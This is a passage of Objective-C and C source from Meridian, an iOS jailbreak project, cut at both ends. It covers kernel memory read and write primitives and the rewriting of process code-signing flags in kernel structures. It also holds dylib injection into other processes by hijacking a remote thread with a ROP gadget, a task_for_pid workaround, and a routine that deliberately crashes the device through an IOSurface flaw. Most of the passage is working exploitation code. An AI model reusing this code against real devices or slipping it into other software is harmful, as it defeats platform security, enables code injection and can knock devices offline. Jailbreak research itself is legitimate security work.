*/ #define CS_HARD 0x0000100 /* don't load invalid pages */ #define CS_RESTRICT 0x0000800 /* tell dyld to treat restricted */ #define CS_PLATFORM_BINARY 0x4000000 /* this is a platform binary */ #define JAILBREAKD_COMMAND_ENTITLE 1 #define JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT 2 #define JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT_FROM_XPCPROXY 3 #define JAILBREAKD_COMMAND_FIXUP_SETUID 4 int call_jailbreakd(int command, pid_t pid); uint64_t find_proc_by_name(char* name); uint64_t find_proc_by_pid(uint32_t pid); uint32_t get_pid_for_name(char* name); int uicache(void); int start_launchdaemon(const char *path); int respring(void); int inject_library(pid_t pid, const char *path); int killall(const char *procname, const char *kill); int check_for_jailbreak(void); char *itoa(long n); int file_exists(const char *path); void read_file(const char* path); int cp(const char *from, const char *to); int num_files(const char *path); char* bundled_file(const char *filename); char* bundle_path(void); int extract_bundle(const char* bundle_name, const char* directory); int extract_bundle_tar(const char *bundle_name); void touch_file(char *path); char* concat(const char *s1, const char *s2); void grant_csflags(pid_t pd); int execprog(const char *prog, const char* args[]); void restart_device(void); double uptime(void); void suspend_all_threads(void); void resume_all_threads(void); #endif ================================================ FILE: Meridian/Meridian/helpers/helpers.m ================================================ // // helpers.m // Meridian // // Created by Ben Sparkes on 30/12/2017. // Copyright © 2017 Ben Sparkes. All rights reserved. // #include "helpers.h" #include "ViewController.h" #include "kernel.h" #include "untar.h" #include "amfi.h" #include "jailbreak_daemonUser.h" #include "iokit.h" #include #include #include #include #include #include #include #import int call_jailbreakd(int command, pid_t pid) { mach_port_t jbd_port; if (bootstrap_look_up(bootstrap_port, "zone.sparkes.jailbreakd", &jbd_port) != 0) { return -1; } return jbd_call(jbd_port, command, pid); } uint64_t find_proc_by_name(char *name) { uint64_t proc = rk64(kernprocaddr + 0x08); while (proc) { char proc_name[40] = { 0 }; kread(proc + 0x26c, proc_name, 40); if (!strcmp(name, proc_name)) { return proc; } proc = rk64(proc + 0x08); } return 0; } uint64_t find_proc_by_pid(uint32_t pid) { uint64_t proc = rk64(kernprocaddr + 0x08); while (proc) { uint32_t proc_pid = rk32(proc + 0x10); if (pid == proc_pid) { return proc; } proc = rk64(proc + 0x08); } return 0; } uint32_t get_pid_for_name(char* name) { uint64_t proc = find_proc_by_name(name); if (proc == 0) { return 0; } return rk32(proc + 0x10); } int uicache() { return execprog("/bin/uicache", NULL); } int start_launchdaemon(const char *path) { int ret = inject_trust("/bin/launchctl"); if (ret != 0) { NSLog(@"Failed to inject trust to /bin/launchctl: %d", ret); return -30; } chmod(path, 0755); chown(path, 0, 0); return execprog("/bin/launchctl", (const char **)&(const char*[]) { "/bin/launchctl", "load", "-w", path, NULL }); } int respring() { pid_t springBoard = get_pid_for_name("SpringBoard"); if (springBoard == 0) { return 1; } kill(springBoard, 9); return 0; } int inject_library(pid_t pid, const char *path) { mach_port_t task_port; kern_return_t ret = task_for_pid(mach_task_self(), pid, &task_port); if (ret != KERN_SUCCESS || task_port == MACH_PORT_NULL) { task_port = task_for_pid_workaround(pid); if (task_port == MACH_PORT_NULL) { NSLog(@"[injector] failed to get task for pid %d", pid); return ret; } } NSLog(@"[injector] got task port: %x", task_port); call_remote(task_port, dlopen, 2, REMOTE_CSTRING(path), REMOTE_LITERAL(RTLD_NOW)); uint64_t error = call_remote(task_port, dlerror, 0); if (error != 0) { uint64_t len = call_remote(task_port, strlen, 1, REMOTE_LITERAL(error)); char* local_cstring = malloc(len + 1); remote_read_overwrite(task_port, error, (uint64_t)local_cstring, len + 1); NSLog(@"[injector] error: %s", local_cstring); return -1; } return 0; } int killall(const char *procname, const char *kill) { return execprog("/usr/bin/killall", (const char **)&(const char *[]) { "/usr/bin/killall", kill, procname, NULL }); } int check_for_jailbreak() { int csops(pid_t pid, unsigned int ops, void *useraddr, size_t usersize); uint32_t flags; csops(getpid(), 0, &flags, 0); return flags & CS_PLATFORM_BINARY; } char *itoa(long n) { int len = n==0 ? 1 : floor(log10l(labs(n)))+1; if (n<0) len++; // room for negative sign '-' char *buf = calloc(sizeof(char), len+1); // +1 for null snprintf(buf, len+1, "%ld", n); return buf; } // remember: returns 0 if file exists int file_exists(const char *path) { return access(path, F_OK); } void read_file(const char *path) { char buf[65] = {0}; int fd = open(path, O_RDONLY); if (fd == -1) { perror("open path"); return; } printf("contents of %s: \n ------------------------- \n", path); while(read(fd, buf, sizeof(buf) - 1) == sizeof(buf) - 1) { printf("%s", buf); } printf("%s", buf); printf("\n-------------------------\n"); close(fd); } int cp(const char *from, const char *to) { int fd_to, fd_from; char buf[4096]; ssize_t nread; int saved_errno; fd_from = open(from, O_RDONLY); if (fd_from < 0) return -1; fd_to = open(to, O_WRONLY | O_CREAT | O_EXCL, 0666); if (fd_to < 0) goto out_error; while ((nread = read(fd_from, buf, sizeof buf)) > 0) { char *out_ptr = buf; ssize_t nwritten; do { nwritten = write(fd_to, out_ptr, nread); if (nwritten >= 0) { nread -= nwritten; out_ptr += nwritten; } else if (errno != EINTR) { goto out_error; } } while (nread > 0); } if (nread == 0) { if (close(fd_to) < 0) { fd_to = -1; goto out_error; } close(fd_from); /* Success! */ return 0; } out_error: saved_errno = errno; close(fd_from); if (fd_to >= 0) close(fd_to); errno = saved_errno; return -1; } // https://stackoverflow.com/questions/1121383/counting-the-number-of-files-in-a-directory-using-c int num_files(const char *path) { if (file_exists(path) != 0) { return -1; } int file_count = 0; DIR * dirp; struct dirent * entry; dirp = opendir(path); while ((entry = readdir(dirp)) != NULL) { if (entry->d_type == DT_REG) { file_count++; } } closedir(dirp); return file_count; } char* bundled_file(const char *filename) { return concat(bundle_path(), filename); } char* bundle_path() { CFBundleRef mainBundle = CFBundleGetMainBundle(); CFURLRef resourcesURL = CFBundleCopyResourcesDirectoryURL(mainBundle); int len = 4096; char* path = malloc(len); CFURLGetFileSystemRepresentation(resourcesURL, TRUE, (UInt8*)path, len); return concat(path, "/"); } int extract_bundle(const char* bundle_name, const char* directory) { int ret; char *tarFile = NULL; asprintf(&tarFile, "%s/%s", directory, bundle_name); ret = file_exists(bundled_file(bundle_name)); if (ret != 0) { NSLog(@"file does not exist: %s", bundled_file(bundle_name)); return -1; } ret = file_exists(directory); if (file_exists(directory) != 0) { NSLog(@"directory does not exist: %s", directory); return -2; } ret = cp(bundled_file(bundle_name), tarFile); if (ret != 0) { NSLog(@"cp has failed: %d", ret); return -3; } ret = chdir(directory); if (ret != 0) { NSLog(@"failed to chdir *rolls eyes* code %d", ret); return -4; } ret = untar(fopen(tarFile, "r"), bundle_name); NSLog(@"untar returned: %d", ret); if (ret != 0) { return -5; } ret = unlink(tarFile); if (ret != 0) { NSLog(@"now fucking `unlink` is failing tooo? %d", ret); return -6; } free(tarFile); return 0; } int extract_bundle_tar(const char *bundle_name) { const char *file_path = bundled_file(bundle_name); if (file_exists(file_path) != 0) { log_message([NSString stringWithFormat:@"Error, bundle file %s was not found at path %s!", bundle_name, file_path]); return -1; } return execprog("/meridian/tar", (const char **)&(const char*[]) { "/meridian/tar", "--preserve-permissions", "--no-overwrite-dir", "-C", "/", "-xvf", file_path, NULL }); } void touch_file(char *path) { fclose(fopen(path, "w+")); } // https://stackoverflow.com/questions/8465006/how-do-i-concatenate-two-strings-in-c char* concat(const char *s1, const char *s2) { char *result = malloc(strlen(s1)+strlen(s2)+1); strcpy(result, s1); strcat(result, s2); return result; } void grant_csflags(pid_t pid) { int tries = 3; while (tries-- > 0) { uint64_t proc = find_proc_by_pid(pid); if (proc == 0) { sleep(1); continue; } uint32_t csflags = rk32(proc + 0x2a8); csflags = (csflags | CS_PLATFORM_BINARY | CS_INSTALLER | CS_GET_TASK_ALLOW) & ~(CS_RESTRICT | CS_HARD); wk32(proc + 0x2a8, csflags); break; } } // creds to stek29 on this one int execprog(const char *prog, const char* args[]) { if (args == NULL) { args = (const char **)&(const char*[]){ prog, NULL }; } if (file_exists("/meridian") != 0) { mkdir("/meridian", 0755); } if (file_exists("/meridian/logs") != 0) { mkdir("/meridian/logs", 0755); } const char *logfile = [NSString stringWithFormat:@"/meridian/logs/%@-%lu", [[NSMutableString stringWithUTF8String:prog] stringByReplacingOccurrencesOfString:@"/" withString:@"_"], time(NULL)].UTF8String; NSString *prog_args = @""; for (const char **arg = args; *arg != NULL; ++arg) { prog_args = [prog_args stringByAppendingString:[NSString stringWithFormat:@"%s ", *arg]]; } NSLog(@"[execprog] Spawning [ %@ ] to logfile [ %s ]", prog_args, logfile); int rv; posix_spawn_file_actions_t child_fd_actions; if ((rv = posix_spawn_file_actions_init (&child_fd_actions))) { perror ("posix_spawn_file_actions_init"); return rv; } if ((rv = posix_spawn_file_actions_addopen (&child_fd_actions, STDOUT_FILENO, logfile, O_WRONLY | O_CREAT | O_TRUNC, 0666))) { perror ("posix_spawn_file_actions_addopen"); return rv; } if ((rv = posix_spawn_file_actions_adddup2 (&child_fd_actions, STDOUT_FILENO, STDERR_FILENO))) { perror ("posix_spawn_file_actions_adddup2"); return rv; } pid_t pd; if ((rv = posix_spawn(&pd, prog, &child_fd_actions, NULL, (char**)args, NULL))) { printf("posix_spawn error: %d (%s)\n", rv, strerror(rv)); return rv; } NSLog(@"[execprog] Process spawned with pid %d", pd); grant_csflags(pd); int ret, status; do { ret = waitpid(pd, &status, 0); if (ret > 0) { NSLog(@"'%s' exited with %d (sig %d)\n", prog, WEXITSTATUS(status), WTERMSIG(status)); } else if (errno != EINTR) { NSLog(@"waitpid error %d: %s\n", ret, strerror(errno)); } } while (ret < 0 && errno == EINTR); char buf[65] = {0}; int fd = open(logfile, O_RDONLY); if (fd == -1) { perror("open logfile"); return 1; } NSLog(@"contents of %s:", logfile); NSLog(@"-------------------------"); NSString *outputString = @""; while(read(fd, buf, sizeof(buf) - 1) == sizeof(buf) - 1) { outputString = [outputString stringByAppendingString:[NSString stringWithFormat:@"%s", buf]]; } NSLog(@"%@", outputString); NSLog(@"-------------------------"); close(fd); remove(logfile); return (int8_t)WEXITSTATUS(status); } // credits to tihmstar void restart_device() { // open user client CFMutableDictionaryRef matching = IOServiceMatching("IOSurfaceRoot"); io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, matching); io_connect_t connect = 0; IOServiceOpen(service, mach_task_self(), 0, &connect); // add notification port with same refcon multiple times mach_port_t port = 0; mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); uint64_t references; uint64_t input[3] = {0}; input[1] = 1234; // keep refcon the same value while (1) { IOConnectCallAsyncStructMethod(connect, 17, port, &references, 1, input, sizeof(input), NULL, NULL); } } // credits to tihmstar double uptime() { struct timeval boottime; size_t len = sizeof(boottime); int mib[2] = { CTL_KERN, KERN_BOOTTIME }; if (sysctl(mib, 2, &boottime, &len, NULL, 0) < 0) { return -1.0; } time_t bsec = boottime.tv_sec, csec = time(NULL); return difftime(csec, bsec); } // credits to tihmstar void suspend_all_threads() { thread_act_t other_thread, current_thread; unsigned int thread_count; thread_act_array_t thread_list; current_thread = mach_thread_self(); int result = task_threads(mach_task_self(), &thread_list, &thread_count); if (result == -1) { exit(1); } if (!result && thread_count) { for (unsigned int i = 0; i < thread_count; ++i) { other_thread = thread_list[i]; if (other_thread != current_thread) { int kr = thread_suspend(other_thread); if (kr != KERN_SUCCESS) { mach_error("thread_suspend:", kr); exit(1); } } } } } // credits to tihmstar void resume_all_threads() { thread_act_t other_thread, current_thread; unsigned int thread_count; thread_act_array_t thread_list; current_thread = mach_thread_self(); int result = task_threads(mach_task_self(), &thread_list, &thread_count); if (!result && thread_count) { for (unsigned int i = 0; i < thread_count; ++i) { other_thread = thread_list[i]; if (other_thread != current_thread) { int kr = thread_resume(other_thread); if (kr != KERN_SUCCESS) { mach_error("thread_suspend:", kr); } } } } } ================================================ FILE: Meridian/Meridian/helpers/iokit.h ================================================ #ifndef IOKIT_H #define IOKIT_H #include #include #include // Thanks Sig <3 // https://github.com/Siguza/iokit-utils/blob/master/src/iokit.h typedef char io_name_t[128]; typedef char io_string_t[512]; typedef char io_struct_inband_t[4096]; typedef mach_port_t io_object_t; typedef io_object_t io_registry_entry_t; typedef io_object_t io_service_t; typedef io_object_t io_connect_t; typedef io_object_t io_iterator_t; enum { kIOCFSerializeToBinary = 0x00000001U, }; enum { kIORegistryIterateRecursively = 0x00000001U, kIORegistryIterateParents = 0x00000002U, }; enum { kOSSerializeDictionary = 0x01000000U, kOSSerializeArray = 0x02000000U, kOSSerializeSet = 0x03000000U, kOSSerializeNumber = 0x04000000U, kOSSerializeSymbol = 0x08000000U, kOSSerializeString = 0x09000000U, kOSSerializeData = 0x0a000000U, kOSSerializeBoolean = 0x0b000000U, kOSSerializeObject = 0x0c000000U, kOSSerializeTypeMask = 0x7F000000U, kOSSerializeDataMask = 0x00FFFFFFU, kOSSerializeEndCollection = 0x80000000U, kOSSerializeMagic = 0x000000d3U, }; extern const mach_port_t kIOMasterPortDefault; CF_RETURNS_RETAINED CFDataRef IOCFSerialize(CFTypeRef object, CFOptionFlags options); CFTypeRef IOCFUnserializeWithSize(const char *buf, size_t len, CFAllocatorRef allocator, CFOptionFlags options, CFStringRef *err); kern_return_t IOObjectRetain(io_object_t object); kern_return_t IOObjectRelease(io_object_t object); boolean_t IOObjectConformsTo(io_object_t object, const io_name_t name); uint32_t IOObjectGetKernelRetainCount(io_object_t object); kern_return_t IOObjectGetClass(io_object_t object, io_name_t name); CFStringRef IOObjectCopyClass(io_object_t object); CFStringRef IOObjectCopySuperclassForClass(CFStringRef name); CFStringRef IOObjectCopyBundleIdentifierForClass(CFStringRef name); io_registry_entry_t IORegistryGetRootEntry(mach_port_t master); kern_return_t IORegistryEntryGetName(io_registry_entry_t entry, io_name_t name); kern_return_t IORegistryEntryGetRegistryEntryID(io_registry_entry_t entry, uint64_t *entryID); kern_return_t IORegistryEntryGetPath(io_registry_entry_t entry, const io_name_t plane, io_string_t path); kern_return_t IORegistryEntryGetProperty(io_registry_entry_t entry, const io_name_t name, io_struct_inband_t buffer, uint32_t *size); kern_return_t IORegistryEntryCreateCFProperties(io_registry_entry_t entry, CFMutableDictionaryRef *properties, CFAllocatorRef allocator, uint32_t options); CFTypeRef IORegistryEntryCreateCFProperty(io_registry_entry_t entry, CFStringRef key, CFAllocatorRef allocator, uint32_t options); kern_return_t IORegistryEntrySetCFProperties(io_registry_entry_t entry, CFTypeRef properties); kern_return_t IORegistryCreateIterator(mach_port_t master, const io_name_t plane, uint32_t options, io_iterator_t *it); kern_return_t IORegistryEntryCreateIterator(io_registry_entry_t entry, const io_name_t plane, uint32_t options, io_iterator_t *it); kern_return_t IORegistryEntryGetChildIterator(io_registry_entry_t entry, const io_name_t plane, io_iterator_t *it); kern_return_t IORegistryEntryGetParentIterator(io_registry_entry_t entry, const io_name_t plane, io_iterator_t *it); io_object_t IOIteratorNext(io_iterator_t it); boolean_t IOIteratorIsValid(io_iterator_t it); void IOIteratorReset(io_iterator_t it); CFMutableDictionaryRef IOServiceMatching(const char *name) CF_RETURNS_RETAINED; CFMutableDictionaryRef IOServiceNameMatching(const char *name) CF_RETURNS_RETAINED; io_service_t IOServiceGetMatchingService(mach_port_t master, CFDictionaryRef matching CF_RELEASES_ARGUMENT); kern_return_t IOServiceGetMatchingServices(mach_port_t master, CFDictionaryRef matching CF_RELEASES_ARGUMENT, io_iterator_t *it); kern_return_t _IOServiceGetAuthorizationID(io_service_t service, uint64_t *authID); kern_return_t _IOServiceSetAuthorizationID(io_service_t service, uint64_t authID); kern_return_t IOServiceOpen(io_service_t service, task_t task, uint32_t type, io_connect_t *client); kern_return_t IOServiceClose(io_connect_t client); kern_return_t IOCloseConnection(io_connect_t client); kern_return_t IOConnectAddRef(io_connect_t client); kern_return_t IOConnectRelease(io_connect_t client); kern_return_t IOConnectGetService(io_connect_t client, io_service_t *service); kern_return_t IOConnectAddClient(io_connect_t client, io_connect_t other); kern_return_t IOConnectSetNotificationPort(io_connect_t client, uint32_t type, mach_port_t port, uintptr_t ref); kern_return_t IOConnectMapMemory64(io_connect_t client, uint32_t type, task_t task, mach_vm_address_t *addr, mach_vm_size_t *size, uint32_t options); kern_return_t IOConnectUnmapMemory64(io_connect_t client, uint32_t type, task_t task, mach_vm_address_t addr); kern_return_t IOConnectSetCFProperties(io_connect_t client, CFTypeRef properties); kern_return_t IOConnectCallMethod(io_connect_t client, uint32_t selector, const uint64_t *in, uint32_t inCnt, const void *inStruct, size_t inStructCnt, uint64_t *out, uint32_t *outCnt, void *outStruct, size_t *outStructCnt); kern_return_t IOConnectCallScalarMethod(io_connect_t client, uint32_t selector, const uint64_t *in, uint32_t inCnt, uint64_t *out, uint32_t *outCnt); kern_return_t IOConnectCallStructMethod(io_connect_t client, uint32_t selector, const void *inStruct, size_t inStructCnt, void *outStruct, size_t *outStructCnt); kern_return_t IOConnectCallAsyncMethod(io_connect_t client, uint32_t selector, mach_port_t wake_port, uint64_t *ref, uint32_t refCnt, const uint64_t *in, uint32_t inCnt, const void *inStruct, size_t inStructCnt, uint64_t *out, uint32_t *outCnt, void *outStruct, size_t *outStructCnt); kern_return_t IOConnectCallAsyncScalarMethod(io_connect_t client, uint32_t selector, mach_port_t wake_port, uint64_t *ref, uint32_t refCnt, const uint64_t *in, uint32_t inCnt, uint64_t *out, uint32_t *outCnt); kern_return_t IOConnectCallAsyncStructMethod(io_connect_t client, uint32_t selector, mach_port_t wake_port, uint64_t *ref, uint32_t refCnt, const void *inStruct, size_t inStructCnt, void *outStruct, size_t *outStructCnt); kern_return_t IOConnectTrap6(io_connect_t client, uint32_t index, uintptr_t a, uintptr_t b, uintptr_t c, uintptr_t d, uintptr_t e, uintptr_t f); #endif ================================================ FILE: Meridian/Meridian/helpers/kernel.h ================================================ // // kernel.h // Meridian // // Created by Ben Sparkes on 16/12/2017. // Copyright © 2017 Ben Sparkes. All rights reserved. // #include enum arg_type { ARG_LITERAL, ARG_BUFFER, ARG_BUFFER_PERSISTENT, // don't free the buffer after the call ARG_OUT_BUFFER, ARG_INOUT_BUFFER }; typedef struct _arg_desc { uint64_t type; uint64_t value; uint64_t length; } arg_desc; #define REMOTE_LITERAL(val) &(arg_desc){ARG_LITERAL, (uint64_t)val, (uint64_t)0} #define REMOTE_BUFFER(ptr, size) &(arg_desc){ARG_BUFFER, (uint64_t)ptr, (uint64_t)size} #define REMOTE_CSTRING(str) &(arg_desc){ARG_BUFFER, (uint64_t)str, (uint64_t)(strlen(str)+1)} task_t tfp0; uint64_t kslide; uint64_t kernel_base; uint64_t kern_ucred; uint64_t kernprocaddr; kern_return_t mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt); kern_return_t mach_vm_read_overwrite(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize); kern_return_t mach_vm_allocate(vm_map_t, mach_vm_address_t *, mach_vm_size_t, int); kern_return_t mach_vm_deallocate(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size); kern_return_t mach_vm_region(vm_map_t target_task, mach_vm_address_t *address, mach_vm_size_t *size, vm_region_flavor_t flavor, vm_region_info_t info, mach_msg_type_number_t *infoCnt, mach_port_t *object_name); kern_return_t bootstrap_look_up(mach_port_t port, const char *service, mach_port_t *server_port); size_t kread(uint64_t where, void *p, size_t size); size_t kwrite(uint64_t where, const void *p, size_t size); uint64_t rk64(uint64_t kaddr); uint32_t rk32(uint64_t kaddr); void wk64(uint64_t kaddr, uint64_t val); void wk32(uint64_t kaddr, uint32_t val); uint64_t remote_alloc(mach_port_t task_port, uint64_t size); uint64_t alloc_and_fill_remote_buffer(mach_port_t task_port, uint64_t local_address, uint64_t length); void remote_free(mach_port_t task_port, uint64_t base, uint64_t size); void remote_read_overwrite(mach_port_t task_port, uint64_t remote_address, uint64_t local_address, uint64_t length); uint64_t binary_load_address(mach_port_t tp); uint64_t ktask_self_addr(void); mach_port_t task_for_pid_workaround(int pid); uint64_t find_port_address(mach_port_name_t port); uint64_t call_remote(mach_port_t task_port, void* fptr, int n_params, ...); ================================================ FILE: Meridian/Meridian/helpers/kernel.m ================================================ // // kernel.m // v0rtex // // Created by Ben Sparkes on 16/12/2017. // Copyright © 2017 Ben Sparkes. All rights reserved. // #include "kernel.h" #include "common.h" #include "helpers.h" #include size_t kread(uint64_t where, void *p, size_t size) { int rv; size_t offset = 0; while (offset < size) { mach_vm_size_t sz, chunk = 2048; if (chunk > size - offset) { chunk = size - offset; } rv = mach_vm_read_overwrite(tfp0, where + offset, chunk, (mach_vm_address_t)p + offset, &sz); if (rv || sz == 0) { break; } offset += sz; } return offset; } size_t kwrite(uint64_t where, const void *p, size_t size) { int rv; size_t offset = 0; while (offset < size) { size_t chunk = 2048; if (chunk > size - offset) { chunk = size - offset; } rv = mach_vm_write(tfp0, where + offset, (mach_vm_offset_t)p + offset, (mach_msg_type_number_t)chunk); if (rv) { printf("[kernel] error copying buffer into region: @%p \n", (void *)(offset + where)); break; } offset +=chunk; } return offset; } uint64_t rk64(uint64_t kaddr) { uint64_t lower = rk32(kaddr); uint64_t higher = rk32(kaddr + 4); return ((higher << 32) | lower); } uint32_t rk32(uint64_t kaddr) { kern_return_t err; uint32_t val = 0; mach_vm_size_t outsize = 0; kern_return_t mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt); err = mach_vm_read_overwrite(tfp0, (mach_vm_address_t)kaddr, (mach_vm_size_t)sizeof(uint32_t), (mach_vm_address_t)&val, &outsize); if (err != KERN_SUCCESS) { return 0; } if (outsize != sizeof(uint32_t)) { return 0; } return val; } void wk64(uint64_t kaddr, uint64_t val) { uint32_t lower = (uint32_t)(val & 0xffffffff); uint32_t higher = (uint32_t)(val >> 32); wk32(kaddr, lower); wk32(kaddr + 4, higher); } void wk32(uint64_t kaddr, uint32_t val) { if (tfp0 == MACH_PORT_NULL) { return; } kern_return_t err; err = mach_vm_write(tfp0, (mach_vm_address_t)kaddr, (vm_offset_t)&val, (mach_msg_type_number_t)sizeof(uint32_t)); if (err != KERN_SUCCESS) { return; } } uint64_t remote_alloc(mach_port_t task_port, uint64_t size) { kern_return_t err; mach_vm_offset_t remote_addr = 0; mach_vm_size_t remote_size = (mach_vm_size_t)size; err = mach_vm_allocate(task_port, &remote_addr, remote_size, VM_FLAGS_ANYWHERE); if (err != KERN_SUCCESS){ printf("unable to allocate buffer in remote process\n"); return 0; } return (uint64_t)remote_addr; } uint64_t alloc_and_fill_remote_buffer(mach_port_t task_port, uint64_t local_address, uint64_t length) { kern_return_t err; uint64_t remote_address = remote_alloc(task_port, length); err = mach_vm_write(task_port, remote_address, (mach_vm_offset_t)local_address, (mach_msg_type_number_t)length); if (err != KERN_SUCCESS){ printf("unable to write to remote memory \n"); return 0; } return remote_address; } void remote_free(mach_port_t task_port, uint64_t base, uint64_t size) { kern_return_t err; err = mach_vm_deallocate(task_port, (mach_vm_address_t)base, (mach_vm_size_t)size); if (err != KERN_SUCCESS){ printf("unabble to deallocate remote buffer\n"); return; } } void remote_read_overwrite(mach_port_t task_port, uint64_t remote_address, uint64_t local_address, uint64_t length) { kern_return_t err; mach_vm_size_t outsize = 0; err = mach_vm_read_overwrite(task_port, (mach_vm_address_t)remote_address, (mach_vm_size_t)length, (mach_vm_address_t)local_address, &outsize); if (err != KERN_SUCCESS){ printf("remote read failed\n"); return; } if (outsize != length){ printf("remote read was short (expected %llx, got %llx\n", length, outsize); return; } } uint64_t binary_load_address(mach_port_t tp) { kern_return_t err; mach_msg_type_number_t region_count = VM_REGION_BASIC_INFO_COUNT_64; memory_object_name_t object_name = MACH_PORT_NULL; mach_vm_size_t target_first_size = 0x1000; mach_vm_address_t target_first_addr = 0x0; struct vm_region_basic_info_64 region = {0}; err = mach_vm_region(tp, &target_first_addr, &target_first_size, VM_REGION_BASIC_INFO_64, (vm_region_info_t)®ion, ®ion_count, &object_name); if (err != KERN_SUCCESS) { printf("failed to get the region\n"); return -1; } return target_first_addr; } uint64_t ktask_self_addr() { uint64_t self_proc = find_proc_by_pid(getpid()); return rk64(self_proc + 0x18); } // credits to Jonathan Levin (Morpheus) for this awesome workaround // http://newosxbook.com/articles/PST2.html mach_port_t task_for_pid_workaround(int pid) { host_t myhost = mach_host_self(); mach_port_t psDefault; mach_port_t psDefault_control; task_array_t tasks; mach_msg_type_number_t numTasks; kern_return_t kr; kr = processor_set_default(myhost, &psDefault); kr = host_processor_set_priv(myhost, psDefault, &psDefault_control); if (kr != KERN_SUCCESS) { fprintf(stderr, "host_processor_set_priv failed with error %x\n", kr); mach_error("host_processor_set_priv",kr); exit(1); } kr = processor_set_tasks(psDefault_control, &tasks, &numTasks); if (kr != KERN_SUCCESS) { fprintf(stderr,"processor_set_tasks failed with error %x\n",kr); exit(1); } for (int i = 0; i < numTasks; i++) { int t_pid; pid_for_task(tasks[i], &t_pid); if (pid == t_pid) return (tasks[i]); } return MACH_PORT_NULL; } // from Ian Beer's find_port.c uint64_t find_port_address(mach_port_name_t port) { uint64_t task_addr = ktask_self_addr(); uint64_t itk_space = rk64(task_addr + 0x300); uint64_t is_table = rk64(itk_space + 0x20); uint32_t port_index = port >> 8; uint64_t port_addr = rk64(is_table + (port_index * 0x18)); return port_addr; } uint64_t find_gadget_candidate(char** alternatives, size_t gadget_length) { void* haystack_start = (void*)atoi; // will do... size_t haystack_size = 100*1024*1024; // likewise... for (char* candidate = *alternatives; candidate != NULL; alternatives++) { void* found_at = memmem(haystack_start, haystack_size, candidate, gadget_length); if (found_at != NULL) { return (uint64_t)found_at; } } return 0; } uint64_t blr_x19_addr = 0; uint64_t find_blr_x19_gadget() { if (blr_x19_addr != 0) { return blr_x19_addr; } char* blr_x19 = "\x60\x02\x3f\xd6"; char* candidates[] = {blr_x19, NULL}; blr_x19_addr = find_gadget_candidate(candidates, 4); return blr_x19_addr; } // no support for non-register args #define MAX_REMOTE_ARGS 8 // not in iOS SDK headers: extern void _pthread_set_self(pthread_t p); uint64_t call_remote(mach_port_t task_port, void* fptr, int n_params, ...) { if (n_params > MAX_REMOTE_ARGS || n_params < 0){ NSLog(@"unsupported number of arguments to remote function (%d)\n", n_params); return 0; } kern_return_t err; uint64_t remote_stack_base = 0; uint64_t remote_stack_size = 4*1024*1024; remote_stack_base = remote_alloc(task_port, remote_stack_size); uint64_t remote_stack_middle = remote_stack_base + (remote_stack_size/2); // create a new thread in the target // just using the mach thread API doesn't initialize the pthread thread-local-storage // which means that stuff which relies on that will crash // we can sort-of make that work by calling _pthread_set_self(NULL) in the target process // which will give the newly created thread the same TLS region as the main thread _STRUCT_ARM_THREAD_STATE64 thread_state = {0}; mach_msg_type_number_t thread_stateCnt = sizeof(thread_state)/4; // we'll start the thread running and call _pthread_set_self first: thread_state.__sp = remote_stack_middle; thread_state.__pc = (uint64_t)_pthread_set_self; // set these up to put us into a predictable state we can monitor for: uint64_t loop_lr = find_blr_x19_gadget(); thread_state.__x[19] = loop_lr; thread_state.__lr = loop_lr; // set the argument to NULL: thread_state.__x[0] = 0; mach_port_t thread_port = MACH_PORT_NULL; err = thread_create_running(task_port, ARM_THREAD_STATE64, (thread_state_t)&thread_state, thread_stateCnt, &thread_port); if (err != KERN_SUCCESS){ NSLog(@"error creating thread in child: %s\n", mach_error_string(err)); return 0; } // NSLog(@"new thread running in child: %x\n", thread_port); // wait for it to hit the loop: while(1){ // monitor the thread until we see it's in the infinite loop indicating it's done: err = thread_get_state(thread_port, ARM_THREAD_STATE64, (thread_state_t)&thread_state, &thread_stateCnt); if (err != KERN_SUCCESS){ NSLog(@"error getting thread state: %s\n", mach_error_string(err)); return 0; } if (thread_state.__pc == loop_lr && thread_state.__x[19] == loop_lr){ // thread has returned from the target function break; } } // the thread should now have pthread local storage // pause it: err = thread_suspend(thread_port); if (err != KERN_SUCCESS){ NSLog(@"unable to suspend target thread\n"); return 0; } /* err = thread_abort(thread_port); if (err != KERN_SUCCESS){ NSLog(@"unable to get thread out of any traps\n"); return 0; } */ // set up for the actual target call: thread_state.__sp = remote_stack_middle; thread_state.__pc = (uint64_t)fptr; // set these up to put us into a predictable state we can monitor for: thread_state.__x[19] = loop_lr; thread_state.__lr = loop_lr; va_list ap; va_start(ap, n_params); arg_desc* args[MAX_REMOTE_ARGS] = {0}; uint64_t remote_buffers[MAX_REMOTE_ARGS] = {0}; //uint64_t remote_buffer_sizes[MAX_REMOTE_ARGS] = {0}; for (int i = 0; i < n_params; i++){ arg_desc* arg = va_arg(ap, arg_desc*); args[i] = arg; switch(arg->type){ case ARG_LITERAL: { thread_state.__x[i] = arg->value; break; } case ARG_BUFFER: case ARG_BUFFER_PERSISTENT: case ARG_INOUT_BUFFER: { uint64_t remote_buffer = alloc_and_fill_remote_buffer(task_port, arg->value, arg->length); remote_buffers[i] = remote_buffer; thread_state.__x[i] = remote_buffer; break; } case ARG_OUT_BUFFER: { uint64_t remote_buffer = remote_alloc(task_port, arg->length); // NSLog(@"allocated a remote out buffer: %llx\n", remote_buffer); remote_buffers[i] = remote_buffer; thread_state.__x[i] = remote_buffer; break; } default: { NSLog(@"invalid argument type!\n"); } } } va_end(ap); err = thread_set_state(thread_port, ARM_THREAD_STATE64, (thread_state_t)&thread_state, thread_stateCnt); if (err != KERN_SUCCESS){ NSLog(@"error setting new thread state: %s\n", mach_error_string(err)); return 0; } // NSLog(@"thread state updated in target: %x\n", thread_port); err = thread_resume(thread_port); if (err != KERN_SUCCESS){ NSLog(@"unable to resume target thread\n"); return 0; } while(1){ // monitor the thread until we see it's in the infinite loop indicating it's done: err = thread_get_state(thread_port, ARM_THREAD_STATE64, (thread_state_t)&thread_state, &thread_stateCnt); if (err != KERN_SUCCESS){ 